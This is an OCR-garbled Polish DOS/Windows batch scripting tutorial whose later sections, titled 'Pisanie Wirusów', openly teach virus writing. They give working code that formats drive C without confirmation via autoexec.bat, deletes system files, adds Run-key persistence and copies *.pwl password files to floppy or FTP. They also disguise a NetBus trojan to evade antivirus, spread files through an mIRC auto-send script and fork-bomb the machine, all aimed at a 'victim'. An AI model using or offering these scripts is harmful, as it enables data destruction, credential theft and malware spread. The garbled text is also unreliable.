"Echo off" - wylacza wypisywanie na ekranie polédeonsoli

"Echo on" - rozpoczyna wypisywanie na ekranie padonsoli
"Echo."- wyswietla pusty wiersz

"Cls"-czysci ekran
"Pause"-zatrzymuje pra@rogramu ,ado nacéni ecia dowolnego klawisza.

"Rem"-pozwala wprowadz&omentarz.
Przykifad:
rem To jest komentarz

"Call"- uruchamia jald plik wykonywalny (czyli *.com, *.exe, *.bat)
i ewentualnie przekazuje mu parametry.

Przyktfad:

call pamié.bat

"Goto"-powoduje skok do etykiety, etykieta musi tie
przed sob dwukropek.

Przykifad:

goto petla

(...tres¢ programu...)

petla

"Choice"-czyta znaki z klawiatury wprowadzane przez

uzytkownika, posiada kilka istotnych parametrow, aikresla interesuj ace
nas znaki, /n - nie wawietla mo  zliwo sci wyboru, /t - okre sla okres
czasu,

po ktérym dokonuje automatycznego wyboru, fuakgjtaczy sk

z Komed, if w celu tworzenia warunkow logicznych.

Przykifad:

echo Zakaczy¢ program?

choice /c:tn /n /t:t,3

if errorlevel 2 goto nie

if errorlevel 1 goto tak

Program pyta o swoje zakczenie, umgliwia nhacknigcia 't' lub 'n’,
oczekuje 3 sekund na wybor, a po uptywie czasunaatigcznie wybiera 't',
warunki sprawdzage rozpoczyna zawsze: sid ostatniej wartéci,
w naszym przypadku 2, poniehyty tylko dwie maliwo sci.
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"If* -sprawdza warunek logiczny (réwsa b adZ nierbwno $¢)
parametréw, wykorzystujeestrzy rodzaje warunkéw(poréwnanie,
sprawdzenie istnienia pliku i odczytanie wartozmiennej
systemowej errorlevel, przyjmuje onan@ wartaci po dokonaniu
kazdej operacji(odczytu pliku, czytania z klawiaturyaku, bédu systemu),
do zaprzeczenia warunku stosujemy parametr not:

Przykifad:

if "%1"=="backup" goto backup

Skaczemy do etykiety backupz@i pierwszym parametrem
programu jest backup, jest to porownanie paranzetekstem

if not exist C:\Autoexec.bat goto kopiuj

Jezeli nie istnieje plik Autoexec.bat na dysku C watagu

gtdbwnym to skocz do etykiety kopiuj, sprawdzeniaisnia pliku

if errorlevel 2 goto drugi

Jesli zmienna errorlevel przyj et a wartags¢ 2 to skocz do
etykiety drugi, zmienna ta me przyp¢ wartos ¢ z zakresu 0 - 255,
dla konkretnych informacji odsytam do opisu zmiecimgystemowych.

"Type"-wyswietla zawarto $¢ pliku do 25 linii (wi ekszailo s¢
lini powoduje przewijanie ekranu)

"More"-wyswietla dtugie pliki, po ka zdym petnym ekranie
czeka na klawisz aby wvietla ¢ dalej

"Dir"-wy swietla pliki i katalogi, komenda posiada sporo

parametrow, /p - zatrzymujeggdo zapetnieniu ekranu, /w zywa formatu

listy rozszerzonej, /v - tryb petny (maxiumu infaaj), /o - sortuje pliki
(n-alfabetycznie, s-rozmiaru, e-rozszerzenia, g-ggigrupuje katalogi na pogiku)
Przyktfad:

dir /og C: Wyswietla pliki w katalogu gtéwnym dysku C, grupuj ac
katalogi na pocztku

"Format"-formatuje(tzn.usuwa eatawarta ¢(dane), oczyszcza FAT
(tablice alokaciji plikdw), czyci boot-sektor i inne sektory) dyski
twarde i mi ekkie(dyskietki),

umazliwia tworzenie dysku startowego - /s, format safiykko usuwanie danych) - /q,
peten format - /u, okeda pojemno  $¢ dysku do sformatowania
(np. 360KB,720KB,1,44MB czy 2,88MB) - /f:rozmiar

Przyktfad:

format a: /u /s /f:1.44

Przeprowadza format dyskietki w stacji a:

0 pojemndaci 1.44MB i kopiuje pliki systemowe

format b: /u /c V:TEMP /£:360

Przeprowadza format dyskietki w stacji b: o pojedwi®860KB i
sprawdza plastry oznaczone jako zite oraz raetgkiet: TEMP

PS. Jest to jedna z ciekawszych komend,

posiada take zastosowania destrukcyjne heh... heh...

"Del lub Erase"-usuwa pliki lub grupy plikbéw, paratn/p (monituje usugcie plikbw)

28



Przyktad:

del C:\TEMP\*.*

Powoduje usurtie(zamazanie) wszystkich plikow w katalogu C\TEMP
erase C:\GRY\*.tmp /p

Powoduje usugctie, ale tylko potwierdzonych przezyskownika plikéw

0 rozszerzeniach *.tmp w katalogu C:\GRY

"Deltree"-kasuje drzewo katalogow (katalogi wrgzadkatalogami i danymi)
Przyktfad:

deltree C:\WINDOWS\SYSTEM

Powoduje wszystkich plikow i katalogow w C:\WINDOWEY STEM

PS .Osohicie nie robitbym tego ;-)

"Cd" lub "Chdir" -wchodzi do dowolnego katalogue @miana

dysku odbywa sipoprzez wpisanie jego "litery” z dwukropkiem

Przykifad:

cd C:\DOS\UTIL

Powoduje wejicie do katalogu \DOS\UTIL na dysku C

E:

Powoduje zmiagidysku na E

"Cd.."-wychodzi do poprzedniego katalogu (pozionvejyw strukturze katalogow)
"Cd \"-wychodzi do korzenia(roota) tj. gtbwnega&iagu dysku

"Md" lub "Mkdir"-tworzy katalog

Przykifad:

md C:\OTUL

Powoduje utworzenie pustego katalogu OTUL na dysku

"Rd" lub "Rmdir"-usuwa pusty katalog geli katalog

zawiera jakig dane, nie zostanie usuni ety)

Przykifad:

rmdir D\CHWILOWY

Powoduje usurcie pustego katalogu CHWILOWY na dysku D

"Tree"-wyswietla struktur e katalogbéw w postaci drzewa,
przydatna funkcja przy zmianach katalogow

"Exit"-konczy prae aktualnego interpretera poléce
(command.com’a) i powraca do poprzedniego

"Ren"-zmienia nazwpliku

Przykifad:

ren C:\OSOBOWE\otul.txt otul.old

Powoduje zmiaginazwy pliku otul.txt na otul.old
w katalogu C:\OSOBOWE

"Move"-przenosi pliki

Przykifad:

move C:\KOPIE\*.txt CADOKUMENTY

Powoduje przeniesienie wszystkich plikow textowych
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z katalogu C:\KOPIE do C:\DOKUMENTY

"Set"-ustwia zmienne, przypisuje im oktene warto  sci,

stringi, aby sprawdzijakie zmienne gsaktualnie uywane

wpisujemy set bez parametrow

Przyktfad:

set pi=3.14

Przypisuje zmiennej pi warte 3.14

"Time"-wyswietla bie zaCy czas, umo  zliwia ustawienie nowego czasu
"Date"-wyswietla bie zaCa dat e, umo zliwia ustawienie nowej daty

"Ver'-wyswietla  wersg zainstalowanego systemu

"Vol"-wy swietla informacje o danym woluminie
dysku twardegodulz mi ekkiego

"Label"-umazliwia nadanie etykiety dyskietkom i dyskom twardym

"Mem"-wyswietla informacje o pami eCi

(konwencjonalnej, goérnej, EMS i XMS), ma kilka pewetrow /p - zatrzymuje si
po zapetnieniu ekranu, /c - dwyietla wszystkie programy rezyduj ace
w pamekci i ilos¢ pami eci przez nie zajmowan a, If - wy swietla
informacje

0 wolnej pamgci

Na razie starczy dla pogikujacych, znajc te komendy
mozna bez problemu napisaatch a.

2.Przyktady
-Pisanie batch’y

Nasz pierwszy batchelzie czyscit ekran, wy swietlat komun ikat,
czekat na klawisz, wgwietlat pliki, tworzy t katalogi i je usuwat.
Nie bede pisat komentarzy, poniewagezeli czytaliscie doktadnie informacje
wyzej zamieszczone bez trudu wszystko zrozumiecie!

Aby program zadziatat musi nigozszerzenie *.bat, @t

nadajcie mu nazgnp.Batch.bat

Mozna go pisaw edicie, notatniku , itp.
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@echo off

cls

echo Witaj w programie Otul a!
echo.

pause

cls

echo Cos popsujemy na komputerku
md C:\Otul

cd C:\Otul

mem > pamiec.txt

type pamiec.txt

pause

cls

del pamiec.txt

cd..

rd Otul

cls

Teraz sporzdzimy bardziej przydatny program :-),

bedzie posiadat skromne menu i wykonywat pewne fugkcj
-czyszczenie katalogu plikow tymczasowych

-robienie kopii plikéw *.doc

z katalogu C:\MOJEDOK do katalogu C:\KOPIE\DOC

-wyswietl anie zawarteci plikbw konfiguracyjnych AUTOEXEC.BAT i
CONFIG.SYS,

z obstug bleddéw

Nasz program ¢mlzie posiadat prostobstug bleddw

opart na wartgciach zwracanych przez zmienn a errorlevel,
postaram take pokaza wam profesjonaklpbudowe programu, ok do roboty :-)

R E M kkkkkkkkkkkkkkkkkkkhkkhkkkkkkkkkk

REM Nagtéwek informacyjny:
REM Program - otuljob, Wersja 1.0
REM Autor - otul Data - 15.X1.2003

R E M kkkkkkkkkkkkkkkkkkkhkkhkkkkkkkkkk

-to jest przyktadowy nagtowek, warto zawsze umieazcos takiego

:Start

@ECHO OFF

CLS

ECHO Witaj w OTULJOB wer. 1.0

ECHO --------mommemeee e

ECHO.

ECHO MENU - komunikat powitalny i prosteenu
ECHO.

ECHO 1.CZYSZCZENIE PLIKOW TYMCZASOWYCH
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ECHO 2.SPORZADZANIE KOPII ZAPASOWAEJ PLIKOW *.DOC
ECHO 3.WYSWIETLANIE PLIKOW KONFIGURACYJNYCH
ECHO.

ECHO K-KONIEC PORGRAMU

ECHO

ECHO WYBOR:

CHOICE /C:123kK /N /T:K,30

IF ERRORLEVEL 5 GOTO Koniec

IF ERRORLEVEL 4 GOTO Koniec

IF ERRORLEVEL 3 GOTO Wj4wiet!

IF ERRORLEVEL 2 GOTO Kopia

IF ERRORLEVEL 1 GOTO Cz¢

- obstuga menu poprzez warunki logiczne, zigré uwag na kolejna ¢
(od najwyszego do najaszego)

:Cczys¢

CLS - odczytanie zmiennej systemowej o kataloguczesowym
ECHO Katalog plikéw tymczasowych w twoim komputetaeotemp%
ECHO.

ECHO Czy na pewno chcesz uséimszystkie pliki?

CHOICE /c:tn /t:n,15

IF ERRORLEVEL 2 GOTO Start

IF ERRORLEVEL 1 ECHO T | ERASE %temp%\*.* - autatyczne
potwierdzenie usugcia plikow

IF ERRORLEVEL 0 GOTO Ok

ECHO Wystpit btad podczas usuwania plikw!

:Ok

ECHO.

PAUSE

GOTO Start

:Kopia

SET source=C:\MOJEDOK - tworzenie zmiennych z reamwkatalogow
SET target=C:\KOPIE

CLS

MD %target%

IF ERRORLEVEL 0 GOTO Skip

‘Blad

ECHO NIE MOZNA UTWORZYC KATALOGU

PAUSE

:Skip

ECHO.

ECHO KOPIUJE PLIKI *.DOC Z %source% do %target%:
ECHO.

COPY %source%\*.DOC %target%

IF ERRORLEVEL 0 GOTO Skip2

:Blad2

ECHO WYSTAPIL BLAD PODCZAS KOPIOWANIA
:Skip2
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ECHO.
PAUSE
GOTO Start

‘Wyswietl

CLS

IF NOT EXIST C\AUTOEXEC.BAT GOTO Brak_autoexec  sprawdzanie
istnienia pliku

ECHO Wywietlam zawarté¢ Autoexec.bat:

ECHO.

MORE C:\AUTOEXEC.BAT -wywietlenie zawar tosci
pliku Autoexec.bat

IF ERRORLEVEL 0 GOTO Config

‘Brak_autoexec

ECHO Nie mog znalez¢ / odczyta pliku Autoexec.bat
ECHO.

:Config

PAUSE

CLS

IF NOT EXIST C:\CONFIG.SYS GOTO Brak_config
ECHO Wywietlam zawarté&¢ Config.sys:

ECHO.

MORE C:\CONFIG.SYS -w§wietlanie
zawartaci pliku Autoexec.bat

IF ERRORLEVEL 0 GOTO Dalej

:Brak_config

ECHO Nie mog znalez¢ / odczyta pliku Autoexec.bat
ECHO.

:Dalej

PAUSE

goto Start

:Koniec

CLS

ECHO *** do zobaczenia *** -zakficzenie programu
ECHO.

PAUSE
CLS

3.Parametry i zmienne
Teraz zajmijmy s parametrami i zmiennymi:

Aby nasz skrypt mogt przyjmowaarametry z zewtrz (z linii polece)
np. print.bat -text www.otul.prv.pl musimy w skryp®bstuy¢ parametry.
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W batch'u parametry oznaczamy %x (x-cyfra) tzn.-9p@rametr
nazwa programu, %1 - pierwszy parametr (tu "-texX2 drugi
parametr (tu "www.otul.prv.pl").

Nalezy pametaé ze kazdy parametr oddzielony jest

spacy i taki wpis print -text Otul www oznacza dla skty@62=0tul, %3=www,
takze dla jednolitego tekstu nalestosowa " " zamiast spacji i jeszcze jedno batch
obstuguje jednoczasowo tylko 10 parametrow. Isénpejlecenie Shift powodage
przesungcie wszystkich parametréw w lewo, co zwalnia miejea naspny,

lecz kasuje poprzedni.d&li mamy w programie trzy parametry: %0 - zawiera
nazwe pliku, %1 - otul, %2 - batch, to po wykonaniu karndg Shift lzdzie to
wygladat nasgpujaco: %0 - otul, %1 - batch, %2 - pusty.

Wspomniatem o zmiennych, aby je wprowadio programu tywamy
polecenia set np. set autor=OTUL i od tej pory zma&%autor%

(tak piszemy w batch'u) ma wa&6 OTUL, ale mo zemy ja

zmienk piszc set autor=0tulOC, liczba zmiennych jest prawie
nieograniczona. Aby wawietli ¢ wszystkie zmienne jakie s a
zadeklarowane natg wpisa& Set bez parametrow.

Zmienne systemowe $0 takie zmienne ,ktoreyzadeklarowane
przy starcie systemu lub zaimplementowane. Bppirzedstave
zestaw kilkunastu zmiennych, oczyagie nie koniecznie wszystkie
znajch sie w twoim komputerze :) :

errorlevel - jest to zmienna zaimplementowana Wesys

zawiera kod kidu po kadym wykonaniu jakié operacii,

wartas¢ 0 oznacza  ze bt edu ni byto, jakakolwiek inna warto §¢
wskazuje na bd. Kazda funkcja ma inny opis &diéw, aby mana

bylo rozpozné co dany dd oznacza, naky skorzysta z jakis tabeli,

przedstawg tutaj pokrotce trzy polecenia wraz ze zwracanyigdémi.

%tmp% lub / i %temp% - zmienna deklarowana podstaigu systemu,
okresla katalog dla plikbw tymczasowych

%winbootdir% lub / i %windir% - zmienna okéta katalog
zainstalowania Windows a

%blaster% / %midi% / %sound% - typowe zmienna kartizycznej
dla programow Dos owych, okikaj a adresy pami  eci, porty, nr
przerwania

i katalog sterownikéw.

%lib% / %include% / %bin% - zmienne digzykow programowania,
okreslaj g katalogi z bibliotekami funkcji, kompilatorem,
linkerem, plikami pomocy itp.

Teraz powinniimy sprawdzi ¢ to w praktyce, wykonamy
odpowiedni skrypt z obshgdotedOw w razie niepoprawnego parametru.
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@echo off
cls
rem Odczytywanie parametrow if "%1"=="" goto brak

‘brak

cls

echo PRINTER by OTUL

echo.

echo Brak parametrow!

echo.

echo Wpisz print -? dla uzyskania pomocy.
pause >nul

cls

exit

‘info

cls

echo PRINTER by OTUL

echo.

echo Skfadnia:

echo.

echo print -? - wywietla ten ekran
echo print -text jaléi_tekst - wyswietla podany tekst 3-razy na ekranie
pause >nul

cls

exit

ok

cls

echo PRINTER by OTUL
echo.

rem Przypisanie zmiennej text parametru %2
set text=%?2

echo %text%

echo %text%

echo %text%

pause >nul

cls

exit

:blad

cls

echo PRINTER by OTUL
echo.

echo Wysipit btad!

echo.
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echo Wpisz print -? dla uzyskania pomocy.
pause >nul

cls

exit

4 Kierowanie strumienia danych

W tym miejscu zajmiemy sioperatorami kierowania, w batch

uzywamy ">" ">>" UM U< | "<<", Pierwsze dwa sha do kierowania

wynikéw operacji np. do pliku lub niczego (nul) Phcemy zapisa

ilos¢ wolnego miejsca wraz z kilkoma informacjami o dysk ucC:do
pliku cinfo.txt

piszemy wtedy CHKDSK c > cinfo.txt , to spowodujgvarzenie nowego pliku i
przepisanie do niego operacji wykonanej przez @og€CHKDSK.

Operator kierunkowy ">>" powoduje dodanie (doklégmwyniku operaciji

juz do istniejcego pliku. Jeeli po wykonaniu powsszej komendy wpiszemy
jeszcze raz CHKDSK c > cinfo.txt stary plik zos&niadpisany.

Natomiast gdy wpiszemy CHKDSK c¢ >> cinfo.txt dodakofejny

wynik operacji programu CHKDSK ¢bizie on s znajdowat pod starym.

Operator "|" stay do rownolegtego wykorzystywanie dwoch komend
(programow) np. Jeli chcemy zapisainformacje o pameci
komputera do pliku pamiec.txt napiszemy mem > parixe,

ale gdy chcemy zapiéaylko informacje o pamgci konwencjonalnej
mamy problem i wtedy przychodzi nam z pompoperator "|", piszemy
tak mem | find /I "konwencjonalna" > pamiec.txoitgwe,

w pliku znajduje si tylko linijka o paméci konwencjonalne;.

Czes¢ |l

Autor tekstu:

Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl

Blokuje myszk:
@echo off

cls

echo

rundll32 mouse,disable

Blokuje klawiatug:

36



@echo off

cls

echo

rundll32 keyboard,disable

Drukuje stror testowy:

@echo off

cls

echo

rundll32 msprint2.dll,RUNDLL_PrintTestPage

Zawiesza windowsa

@echo off

cls

echo

rundll32 user,disablecemlayer

Format C

@echo off
cls

echo
deltree c:\ /y

Uruchamiaj razem z systemem

@echo off

cls

echo

if not exist c:\windows\menust~1\programy\autostsgtup.bat
copy %0 c:\windows\menust~1\programy\autost~1\ gsbat

Uruchamia strogwww

@echo off

Cls

echo

start HTTP://BYADIK.CBA.PL
Wyswietla text V-X POLAND
@echo off

cls

echo

echo V-X POLAND
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TOM IV

\\ Za ten tom nie ponosz e odpowiedzialno $ci. Publikuje go tylko dla
tego bo wychodz e z zalozenia ze kazdy szanuj gcy si e programista
powinien wiedzie ¢ jak dziataj g wirusy zeby muc chroni ¢ (nie tylko)
swoje programy, komputery, serwery, itd. \\

“Hyadik~

Czesé |

Autor tekstu:

Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl

Pisanie Wiruséw G&¢ 1

1.Nie bioe zadnej odpowiedzialrigi
(ani strona/serwer z ktorej foiagnates/as itp.)
za to FAQ itp.

TO WSZYSTKO SA PODSTAWY )

Najpierw aby moc napigawvirusa musimy pozrigpodstawowe
polecenia dos a. del - usuwa plik copy - wiadonso-@z\éci ekran
dir - wyswietla lisk plikow i katalogow

echo - "wywietla komunikaty lub wdcza i wyhcza echo polecég
exit - kaaczy dziatanie programu

find - wyszukuje cig tekstowy w pliku lub plikach (przydatne :P )
findstr - wyszukuje a@gi znakéw w plikach

format - formatuje dysk (poka potem na przyktadzie wirusa ktéry
po uruchomieniu formatuje dysk bez potwierdzenig ))

goto - wykonuje skok do danej etykiety (oki poteryyasnie :P )

md - tworzy katalog

pause - noo zatrzymuje dziatanie programu i czeka

az uzytkownik nacgnie jakg klawisz :) (wywietla komunikat - Aby kontynuowa
nacknij dowolny klawisz ..)

pause >> nul - to co powgj ale bez komunikatu

rd - usuwa katalog

ren - zmienia nazgpliku

start - uruchamia program lub polecenie w osobnimeo

time - wydwietla lub ustawia ( :P ) czas systemowy

xcopy - kopiuje pliki i katalogi
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dobra a wiezeby stworzy takiego wirusa tworzymy dowolny plik
0 rozszerzeniu bat np. darkboyvir.bat i kld@prawym wybieramy
edytuj - tam wpisujemy kod.

Oki narzazie tyle polegewystarczy :). teraz jeszcze jedna

wazna rzecz: >> - przyposdkowanie strumienia

(ponizej podaje przyktad dziatania programu)

@echo off // wydcza echo

echo ale ty jestedebil >> c:\autoexec.bat // kopiuje lingjltekstu

do pliku autoexec.bat - czyli mpa tez dopisywakod do pliku

np. jezeli napiszemy:

@echo off echo del c:\windows\win.ini >> autoexat.bto po

ponownym uruchomieniu komputera ofierze skasuj@kk win.ini

- juz nie uruchomi windowsa - chyba ze skorzysta z phkuini.backup w windowsie XP. :)
cls / czyci ekran takzeby ofiara nie wiedziata ze cog $v ogok usuwa :) \.

teraz mata zabawa z "|" (shift + przycisk obok lspeice :P )
pozwala to np. wykonywadwa polecenia na raz. przeanalizujmy przykiadyizen

format c:

powyzszy plik po uruchomieniugazie wymagat od xytkownika
potwierdzenia - np. w polskggycznej wersji nagni¢cia klawisza "T"
wiec piszemy:

@echo off echo T | format c: cls

po uruchomieniu tego programu dysk twardy zacziiéosmatowa
bez potwierdzenia!!! (uwaga: nie dg sformatowa dysku c:

kiedy mamy uruchomionego windowsa - wiec aby tdgronusimy
doczept ten kawatek kodu do pliku autoexec.bat - najlefziey :D)

no dobrze ale jeeli zacznie s nam formatowadysk to biedzie
to trwato ditugo - wiec aby to prggieszy nalezy wpisa:

@echo off echo T | format c: /g cls

przehcznik /q oznacza ze dyskdrie s¢ formatowat

w trybie szybkie formatowanie (zamazywanie}dbie

to trwato najwyej 10 sekund. (chyba ze ktma duy dysk)
dobra ale teraz rozwey nasgpujacy

przyktad - stworzykmy plik

@echo off echo T | format c: /g cls

i chcemy go zamigei¢ w pliku c:\autoexec.bat .
Niby wszystko wydaje siproste - ale tak nie jest gdgie mana zrobé :

echo @echo off >> c:\autoexec.bat // tu jest wkoyst porzdku
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echo echo T | format c: /q >> c:\autoexec.batW/ e g dwa echa i wyjdzie
nam jakié badziewie (mgecie sobie przetestoda

echo cls >> c:autoexec.bat wiggby to zrobé mazna wy¢

dwoch sposobow

sposo6b pierwszy - przykiad:

nazwa tego pliku - dowolny.bat
@echo off echo T | format c: /q cls copy dowolnydsautoexec.bat

powyzszy plik podmienia zawargé pliku autoexec.bat na ta.

Uwaga! zawarté pliku autoexec.bat zostanie skasowana

(no ale w kdcu jezeli zalezy nam na zniszczeniu komputera ofiary

to nie ma si czym przejmowa :P - i tak dysk zostanie sformatowany :P ).

drugi sposaob:

@echo off echo T | format c: /q cls copy dowolnydgsciezka\dowolny.bat
echo start c:\sciezka\dowolny.bat >> autoexec.bat

Czesc¢ |l
Autor tekstu:
Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl

Pisanie Wirusow Czeé 2

No dobra... :) przydatby steraz spis plikow systemowych

ktére wirus mae usuwa aby narohi nieztych szkéd w systemie :) :

win.ini , win.com - jak usuniesz te pliki to ofiajaz nie uruchomi komputera
chyba ze skorzysta z backupdw (winXP) w folderxeiodows\pss\ - wiec

najlepiej tezzeby wirus usuwat wszystkie pliki z niego :)

c:\windows\system32 - (winXP) tam masz pliki tajik format.com , xcopy.exe itp.
- wiec jak je usuniesz to kimie biedzie mogt kopiowa

plikdw w dosie, ani sformatowalysku itp. :)

c:\windows\command - to co wgj tylko ze w windowsach 9x
c:\windows\system32\DirectX (winXP) - wiadomo

No i... - Zreszi po co mam wszystko wypisywa) tworca wirusa

sam mae sobie poszuka zadecydowajakie pliki maja zosta

usungte skasowane itp. (no ale wilau wirus nie zawsze musi niszéayane :)
- jak ktas w batchu napisze wirusa ktory siotrafi

rozprzestrzeniapoczt, to mail me :) darkboy@op.pl )

kolejna wana rzecz jaka st przydaje podczas pisania wirusow

to modyfikowanie rejestru itp. :) np aby wirus unamiat s¢ przy
kazdym starcie systemu optacg grobi wpis w rejestrze - pod spodem
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podaje przyktad jak mima to wykorzyst& podczas pisania wirusa:

@echo off

cls

echo REGEDIT4 >> plikrejestru.reg / ten wpis mugi bawsze w pliku
rejestru

cls

echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
CurrentVersion\Run]

>>

PLIKREJESTRU.reg

echo

"dowolna"="C:\\lokalizacja\\pliku\bat\\ktory\\wczaaiej\\
skopiowalsmy >>

plikrejestru.reg

start c:\plik\resjestru\.reg\

przy kazdym uruchomieniu komputeragdzie uruchamiany plik
ktérego podalimy lokalizacje w "dowolna"=

Czesé Il

Autor tekstu:

Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl

Pisanie Wiruséw G&¢ 3

Teraz skoro juz znasz podstawowe polecenia to feydam

tylko przyktady wykorzystania :

1.do zdobycia haset : hasta w windowsach 9x zapisaw plikach .pwl

- wiec tworzymy plik .bat ktéry ddizie kopiowat pliki *.pwl oki chyba
napisze przyktad kodu :P : @echo off / tak z przyzzajenia :)

echo T | copy c:\windows\*.pwl a:\ / zalegdzie znajdyj si¢ pliki *.pwl :)
wtedy bierzemy taki programik na dyskietce, podanmmg do kompa
ofiary i tylko wchodzimy na dyskietk klikamy dwa razy i juz mam pliki
z hastami na dyskietce :) - teraz tylko idziemyddenu i wywajac jakiego
programu do deszyfrowania zakodowanych tam hapgb\rihack)
wyciagamy kadz tamiemy hasetko i.. potem juz robisz sobie co shc®

Pliki mozna tez od razu skopiowaa ftp: tworzymy batcha:
@echo off ftp -s:plik.txt ftp.republika.pl

w pliku txt wpisujemy po kolei polecenia ktore majawykona&
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po pohczeniu z ftp czyli login hasto itp (wszystko od reMinii):

darkboy
mojehasto
get *.pwl
bye

mona tez skopiowapliki z ftp do komputera - czyli
wiasciwy wirus mae by na ftp a tutaj tylko niewinnie wygtlajacy skrypt ;].

2.do usunyjcia haset - po prostu usuwamy pliki *.pwil

(pamktajmy aby uy¢ echo T | del lokalizacja\*.pwl) 3. zapomniatemzjeze
poda¢ jednego triku z przeszmuglowaniem np. jakiegioojana tak

aby program antywirusowygshie skapowat (czaseneskapuje a

czasem nie :( ) Weny za przyktad plik patch.exe z Trojana @na go tak nazw@
0 nazwie netbus (chyba#dy go zna - a szczegblnie ci co

nie maja czasu/¢lei/mozliwosci/ poduczy sie o hakingu

(albo myla ze wywajac netbusa nimisgsi nie musza ijuz wigcej uczy :P)

zmieniamy nazwtego pliku na np. readme.txt albo data.lib :P i
wrzucamy do folderu. naginie tworzymy plik bat i wpisujemy w nim cos takeeg

@echo off

cls

ren readme.txt/data.lib patch.exe
start patch.exe

cls

ren patch.exe data.lib/readme.txt
cls

exit

i wrzucamy go do folderu. potem np. pakujemy raremsytamy
komu itp. wtedy skaner antywirusowy nie wykryje wirusa.
(to znaczy czasem me wykry¢ :(((( ale naley zawsze mi¢ nadzieje )

tadam :P - i nikt nie bedzie wiedzialagskwziat si¢ server Trojana :P
chyba ze antywirus to wykryje.

4.mozna jeszcze wykorzystywgak to
nazywaj - "nieudokumentowane \ sztuczki

windows" :) (win9x :( )

rundll32 user,disablecemlayer - zawiesza kompa

rundll32 mouse,disable - nie dziata mysz :) (kqbjzestraszyt ? :P )
rundll32 keyboard,disable - nie dziata klawiatura

rundll32 User,ExitWindows - zamkniecie systemu

rundll32 user,setcursorpos - przesuwa kursor w lgémy rog ekranu :)))
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rundll32 krnl386,fatalexit - lad rundll32 :)

rundll32 krnl386,switchstacko - program wykonatprawidiowg operacje :P
rundll32 krnl386,exitkernel - zamyka windows - laaie, szybko :)
rundll32 User,rapaintscreen -@dezanie ekranu

jest jeszcze wrej polecé ale te § chyba najwaniejsze :)
te sztuczki chyba nie dziafapa winXP - u mnie nie dziataty :(

5.jezeli chcesz komfwusuraé kosz z pulpitu :)))) musisz usgihz
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
\CurrentVersion\explorer\Desktop\ NameSpace\ k{ée5FF040-5081-101B-9F08-
00AAO02F954E}

potem tylko jeszcze rundll32 User,rapaintscreena oczach ofiary zniknie jej kosz :P :))))

Uwaga! dodanie linijki do rejestru z poziomu batehanaga nashnigcia
przycisku "tak" wiec aby to oma mazna zrobé skrypcik vbs (visual basic

script - czy jakos tak :P)

@echo off

echo regcreate [sciezka\rejestru] >> plik.vbs
start plik.vbs

Czesc¢ IV
Autor tekstu:
Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl

Pisanie Wirusow Czé 4

6.kolejna sztuczka (teraz witde wyjasnie na czym polega

polecenie goto :) ) przyjrzyjmysteraz poniszemu plikowi :P

@echo off >> c:\autoexec.bat

‘start >> c:\autoexec.bat /zaznaczamy etgkiet

echo echo. >> c:\autoexec.bat / echo. powodujedad pusta linijka
goto start >> c:\autoexec.bat /i znowu idziemy doztku (:start)

i znowu kzdzie wykonywane polecenie echo. i potem znowu,

I znowu i s¢ robi taka ptla w nieskéczona¢. a czemu zaproponowatem
zeby... zeby to wrzuat do autoexeca ? poniewpak ofiara uruchomi
komputer to bdzie jej s¢ robita ta gtla w nieskéczonac¢ nic nie edzie
wida¢ (echo.) wiec to &dzie wyghdato jakby s komputer normalnie
uruchamiat - ale ginigdy nie uruchomi :))))))))))))))

7.Jest jeszcze jedna przydatna rzecz - a mianowicie

wyszukiwanie plikéw - jeeli np. chcemy zna#€ plik o nazwie
szukany.txt w danym katalogu to piszemy:

43



if exist c:\danykatalog\szukany.txt goto znalaztem

if not exist c:\danykatalog\szukany.txt goto ni@taztem
:znalazlem

echo plik zostat znaleziony

goto dalej

‘nie znalazlem

echo plik nie zostat znaleziony

exit

-dalej

echo dalszy ag programu

8. przydatoby si zeby nasz wirus sirozprzestrzeniat... :)

albo sami powingimy go rozprzestrzeéi ;P najprostszym

sposobem jest wysalanie kilkudzigsu maili strzelajgc adresy :P.

zeby s nie meczy¢ mozna tez sobidciagna¢ program do masowego
wysytania maili - wtedy tylko wpisujesz adresy emnusisz s powtarza.
Mozna tez umigci¢ wirusa na stronie i napiéae to jest wirus. wtedy

Na pewno zjawia gijakies osoby ktore &dg chciaty zrobd komus

ghupi zart ;) w ten sposéb go rozprzestrzeqiajP mana tez uywaé IRCa. )
ale to wszystko zajmuje trogltzasu :( . wiec maa sprobowato jakas
zautomatyzowa mIRC script:) to trzeba wrzucdo script.ini

nO=on 1:JOIN:#:{

nl=/if ( $nick == $me ) { halt }

n2=/.dcc send $nick c:\sciezka\plik.rozszerzenie
n3=}

Wtedy delikwent ktéry ma tak zawirusowany skrypptkwegciu

na kanat bdzie wysytat kademu plik (jak wejdzie na #polska to kto
powinien d& si¢ wrobi¢). w ten sposob oczyddie sk rozprzestrzeni.

Ale jest problemik - w niektorych skryptach jesblkowane przyjmowane
plikbw bat exe itp. wiec najlepiegby to byto spakowane rarem

(chocia maoze i to tez jest zablokowane :().

9.Mozna zrohi tak ze kiedy ofiara uruchomi wirusa

to ty otrzymasz sms’a na swoja komgrlofiara musi

mie¢ gg (gadu-gadu:) ).

Wystarczy ze do wirusa dopiszesz linijke:
c:\lokalizacja\gadu-gadu\gg.exe /send:"nr telefatmsg:"blablabla”

oczywicie nie polecam tego ludziom (zwierzakom tez ni¢ :P
ktorzy maja komoérki na abonament - poniewayby kta sie
pokapowat to ze znalezieniem takiej osoby nie bytob
problemu - chyba ze kordwdato s¢ zdoby jakiega

anonima na fatszywe nazwisko itp.
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Czes¢ V

Autor tekstu:

Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl

Pisanie Wiruséw G&¢ 5
10.Jezeli chcesz aby Ktdostawat szalu to zréb taki plik
i wrzu¢ do autostartu albo wczep kod do autoexec.bat

@echo off
‘start

start plik.bat
goto start

Malutki, banalny pliczek a potrafi nar@bi
takiego zamieszania - jakedtomus uruchomi
400 procesow i zajmie mu cala path(RAM) to bedzie brzydko :P

11.Teraz zrobimy program-syfiarz :)

@echo off

regedit /e ksyf

‘start

cls

